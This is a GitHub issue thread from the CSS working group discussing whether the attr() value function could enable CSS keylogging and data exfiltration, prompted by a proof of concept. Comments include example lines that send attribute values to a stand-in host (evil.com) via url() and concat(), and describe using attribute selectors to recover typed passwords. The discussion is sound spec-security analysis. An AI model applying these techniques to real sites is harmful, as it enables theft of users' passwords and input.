Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[css-values] Keylogging concerns for attr() value #2339

Closed
upsuper opened this issue Feb 21, 2018 · 10 comments
Closed

[css-values] Keylogging concerns for attr() value #2339

upsuper opened this issue Feb 21, 2018 · 10 comments

Comments

@upsuper
Copy link
Member

upsuper commented Feb 21, 2018

See https://github.com/maxchehab/CSS-Keylogging for an interesting poc how using pure CSS to do keylogging. I suspect attr() value would have way larger potential to enable a more powerful CSS keylogger.

@upsuper
Copy link
Member Author

upsuper commented Feb 21, 2018

Hmmm... value of attribute shouldn't be affected by input at all. This seems invalid, and I cannot reproduce keylogging with the proposed method from the poc.

@upsuper upsuper closed this as completed Feb 21, 2018
@upsuper
Copy link
Member Author

upsuper commented Feb 21, 2018

So that POC relies on component frameworks like React, which seems to put the value inputted by user back to the value attribute, which caused the keylogging issue. In that case, attr() may still enable a more powerful keylogger, but I'm not sure how much do we as the working group care about this concern.

@Nadya678
Copy link

Nadya678 commented Feb 21, 2018

The [value] is static but must be specified that ::after and ::before are forbidden for input.

It is good reason why not to use react etc.

Why ::before must be locked for input? ::before will create anonymous div that can load specified font and the width of block can be checked.

@tabatkins
Copy link
Member

@upsuper attr() can't be used for anything nefarious today, but if we add a string-concat function, it lets you trivially exfiltrate any attribute value from an element with something like background: url(concat("https://evil.com/?value=", attr(value)));.

But then again, we already know that allowing people to run arbitrary CSS on your site is an XSS vector. It takes a little more effort than just running arbitrary script, but there have been several reasonable POCs written over the years.

The linked article describes using attribute selectors for this purpose, which does work today but requires an exponential explosion of selectors to get something useful. Weak password exfiltration might be reasonable, particularly since using a combination of ^= and $= lets you cut the exponent in half, and using *= gives you the set of characters used.

@upsuper
Copy link
Member Author

upsuper commented Feb 22, 2018

attr() can't be used for anything nefarious today

Hmmm, if you can insert a sheet on a host you controlled, e.g. inserting <link rel="stylesheet" href="https://evil.com/keylogger.css">, then you can get calls purely via background: url(attr(value)) in it. But that's probably harder in most cases, but who knows?

But then again, we already know that allowing people to run arbitrary CSS on your site is an XSS vector. It takes a little more effort than just running arbitrary script, but there have been several reasonable POCs written over the years.

It's a bit surprising to me. I didn't think CSS could be used for XSS... Have we put anything about this in CSS spec somehow?

Weak password exfiltration might be reasonable, particularly since using a combination of ^= and $= lets you cut the exponent in half, and using *= gives you the set of characters used.

It's more than that, really. If you type the password, $= would almost record the whole password string as you type. It has pitfalls, e.g. it cannot record repeated characters, and it wouldn't work if you use arrow keys etc. to insert character before. But yeah, it's reasonable enough to shrink the search space significantly.

@tabatkins
Copy link
Member

Hmmm, if you can insert a sheet on a host you controlled,

If you control the host, you can already do whatever you want. I don't think that's an attack scenario we have to worry about. ^_^ Because yeah, the best that url(attr(value)) can do is resolve to some URL relative to the stylesheet, which means it can only be intercepted by the person controlling the server that the stylesheet is hosted on.

It's more than that, really. If you type the password, $= would almost record the whole password string as you type. It has pitfalls, e.g. it cannot record repeated characters, and it wouldn't work if you use arrow keys etc. to insert character before. But yeah, it's reasonable enough to shrink the search space significantly.

Ah, indeed, that's clever. (Tho again, it only works against things like React that spam the value property into the value attribute.)

@upsuper
Copy link
Member Author

upsuper commented Feb 22, 2018

If you control the host, you can already do whatever you want. I don't think that's an attack scenario we have to worry about.

I mean you insert a sheet which is served from a host you controlled. I don't think that's the same as controlling the host which serves the page.

@tabatkins
Copy link
Member

I think that requires full XSS power to do? (As in, if you can insert arbitrary s, you can already own the page.) Unless @import is around, hmm.

Point stands - CSS is already in many ways as dangerous of an XSS vector as JS. If you're allowing arbitrary CSS you're screwed.

@annevk
Copy link
Member

annevk commented Feb 22, 2018

w3c/webappsec-csp#45 is somewhat relevant here. Giving sites more fine-grained control over what CSS can be inserted.

@Nadya678
Copy link

  1. do not expose password in value attribute
  2. external CSS can be always dangerous
  3. do not use poopy frameworks. They are often write to do fast and write less but not solid and secure project.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

4 participants